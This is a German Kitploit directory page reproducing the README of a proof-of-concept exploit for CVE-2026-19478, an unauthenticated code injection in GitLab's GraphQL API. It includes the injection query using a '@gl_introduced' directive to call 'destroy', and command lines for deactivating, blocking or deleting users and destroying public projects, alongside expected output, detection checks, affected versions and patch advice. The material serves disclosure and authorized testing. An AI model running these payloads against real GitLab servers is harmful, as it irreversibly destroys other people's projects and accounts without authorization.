Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-19478-PoC — Proof-of-Concept-Exploit für nicht authentifizierte Remote-Code-Injektion in der GraphQL-API von GitLab, der mithilfe manipulierter Abfragen öffentliche Projekte und Benutzer verändert oder löscht. | Kitploit
Tools/GitHubGitHub/davkharrr/cve-2026-19478-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsAPI-Sicherheit
GitHubdavkharrr/cve-2026-19478-poc

CVE-2026-19478-PoC

Proof-of-Concept-Exploit für nicht authentifizierte Remote-Code-Injektion in der GraphQL-API von GitLab, der mithilfe manipulierter Abfragen öffentliche Projekte und Benutzer verändert oder löscht.

Repository anzeigen
11512vor 22 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-19478 PoC

Nicht authentifizierte Remote-Code-Injection in der GraphQL-Schicht von GitLab, die es einem Angreifer ermöglicht, mit einer einzigen manipulierten Abfrage öffentliche Projekte und Benutzerdaten zu ändern oder zu löschen. Keine Authentifizierung, keine Benutzerinteraktion, keine speziellen Berechtigungen.

Schweregrad9.4 Kritisch — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
CWECWE-94 (Improper Control of Generation of Code / Code Injection)
BetroffenGitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4
Behoben18.11.11, 19.0.8, 19.1.6, 19.2.4
Offengelegt2026-08-17
HackerOne3926431

TL;DR

root@kitploit:~
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project

# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

Der Exploit ist eine Fallback-Feld-Code-Injection: Ein vom Angreifer gewählter Feldname in einer GraphQL-Abfrage wird in einen beliebigen public_send-Aufruf auf dem zugrunde liegenden ActiveRecord-Modell (Project, User, ...) umgewandelt. Da das Fallback-Feld nur erstellt wird, wenn die Abfrage zusätzlich eine „zukünftige“ @gl_introduced-Direktive enthält, ist die Direktive die Injektions-Primitive.


Betroffene Versionen

SerieBetroffenBehoben
18.x>= 18.2, < 18.11.1118.11.11
19.0< 19.0.819.0.8
19.1< 19.1.619.1.6
19.2< 19.2.419.2.4

Das Skript führt eine Best-Effort-Versionserkennung durch (/api/v4/version mit einem Token, /help, /users/sign_in) und meldet, ob das Ziel in die betroffenen Bereiche fällt.


Erkennung

  • Versionsprüfung: Jedes GitLab in den betroffenen Bereichen ist verwundbar.
  • Verhaltensprüfung (sicher): Senden Sie das oben genannte harmlose touch-Payload. Eine verwundbare Instanz gibt "touch": true zurück; eine gepatchte Instanz gibt Field 'touch' doesn't exist on type 'Project' zurück.
  • Schema-Prüfung: Eine verwundbare Instanz legt die gl_introduced-Direktive im GraphQL-Schema offen (/api/graphql-Introspection). Gepatchte Instanzen können sie weiterhin offenlegen, daher ist die Verhaltensprüfung maßgeblich.

Verwendung

root@kitploit:~
python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
               [--mode check|modify|destroy|delete|custom]
               [--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
OptionBeschreibung
--urlGitLab-Basis-URL, z. B. https://gitlab.example.com
--projectVollständiger Pfad eines öffentlichen Projekts, z. B. group/subgroup/project
--userBenutzername eines öffentlichen Benutzers, z. B. alice
--modecheck (Standard, harmloses touch) · modify (Benutzer: deactivate, Projekt: touch) · destroy · delete · custom
--methodMethodenname für --mode custom (muss ein gültiger GraphQL-Name sein)
--tokenOptionaler GitLab-PRIVATE-TOKEN (Versionserkennung / Authentifizierung)
--versionErkennung überspringen, Versionszeichenfolge erzwingen
--insecureTLS-Zertifikatsprüfung deaktivieren

Destruktive Modi (modify, destroy, delete) erfordern eine interaktive yes-Bestätigung.

Beispiele

root@kitploit:~
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project

# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block

# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm

# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate

# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete

# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
               --mode custom --method reload

# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
               --token <PRIVATE-TOKEN> --insecure

Erwartete Ausgabe

Verwundbare Instanz

root@kitploit:~
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
    Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
  project(fullPath: "group/public-project") {
    name
    destroy @gl_introduced(version: "999.0.0")
  }
}

[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.

Gepatchte Instanz

root@kitploit:~
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).

Die gepatchte Antwort ist ein normaler GraphQL-Validierungsfehler:

root@kitploit:~
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }

Elternobjekt nicht auflösbar

root@kitploit:~
[!] Parent object is null -> project/user not found or not visible.
    (For projects, use the full path, e.g. group/subgroup/project)

Das Ziel muss öffentlich sein (Projektsichtbarkeit Public oder ein Benutzer, dessen Profil über GraphQL öffentlich auflösbar ist). Wenn das Elternobjekt null ist, wird die Methode niemals aufgerufen.


Behebung

  • Führen Sie ein Upgrade auf GitLab 18.11.11, 19.0.8, 19.1.6 oder 19.2.4 (oder später) durch.
  • Bis zur Behebung: Beschränken Sie den Netzwerkzugriff auf /api/graphql oder deaktivieren Sie die @gl_introduced-Versionsfilterfunktion, falls sie nicht benötigt wird.

Referenzen

  • https://nvd.nist.gov/vuln/detail/CVE-2026-19478
  • https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/
  • https://gitlab.com/gitlab-org/gitlab/-/work_items/611377
  • https://hackerone.com/reports/3926431
  • Fix-Commit: e283c6ad "Prevent calling object method when resolving fallback field"

Dieses PoC dient ausschließlich der defensiven Sicherheitsforschung und autorisierten Tests. Führen Sie es nicht gegen Systeme aus, die Sie nicht besitzen oder für deren Tests Sie keine ausdrückliche Genehmigung haben.

Tool herunterladen